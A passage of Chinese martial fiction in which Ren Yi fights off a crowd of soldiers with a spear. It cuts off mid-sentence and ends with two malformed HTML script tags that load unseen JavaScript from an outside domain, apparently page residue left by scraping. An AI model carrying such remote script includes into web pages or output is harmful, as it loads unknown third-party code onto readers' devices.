那人手里的刀,当啷一声掉在地上。他还没来得及喊疼,任弋的枪已经收了回来,枪尾狠狠往他胸口一捅。那力道极大,高个子像断线的风筝一样,被捅出去好几步,还撞倒了后面两个冲上来的士兵。
又一个士兵冲了上来,手里拿的是一杆短枪,趁着任弋刚解决掉高个子的空档,直直刺向任弋的腿。他也想活捉,只想先把任弋的腿刺伤,让他站不稳。
任弋手腕一转,枪身横过来,稳稳压住了那杆短枪。紧接着,他一脚踩在枪杆上,只听咔嚓一声脆响,那杆木质的枪杆,直接被他踩断了。
那人愣了一瞬,显然没料到任弋的力气这么大。就在这一愣的功夫,任弋的枪尖已经点在了他的胸口,力道不重,只破了一层皮,渗出一点血来。
那人吓得往后一缩,脚下没站稳,撞在身后的人身上,两人一起摔在地上,滚成一团。
第三个、第四个、第五个,一下子涌了上来,围着任弋,前后左右都有刀枪。左边的刀砍向他的腰,右边的枪刺向他的胸口,正面还有一根长槊,直直扎向他的喉咙。
任弋不慌不忙,枪身一横,稳稳挡住了左边的刀,刀锋撞在枪身上,发出刺耳的声响;他侧头,轻轻一躲,就避开了右边的枪,枪尖擦着他的脸颊过去,带起一阵风;紧接着,他的枪尾往下一砸,重重砸在正面那杆槊上,槊尖一偏,刺进了他身后的泥地里,拔都拔不出来。
他借力把枪往前一推,枪尖在空中画了一个小小的弧,精准地扫过三个人的手腕。只听三声闷响,三把武器同时落在地上,三个人都捂着流血的手腕,疼得龇牙咧嘴,往后退去。
他的枪太快了,快到那些人根本看不清枪尖的轨迹,只觉得一道白光闪过,自己的手腕就疼得没了知觉。他的枪太利了,利到只要碰到,就会被划开一道深深的伤口,鲜血止不住地流。
可他的枪,太长了。
在这么密集的人群里,根本施展不开。那些人越挤越密,越靠越近,刀从各个方向砍过来,枪从各个角度刺过来,连躲的地方都没有。
他挡了左边,右边的刀就砍了过来,擦着他的胳膊过去,划破了他的衣裳,留下一道浅浅的血痕;他挡了前面,后面的枪就刺了过
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">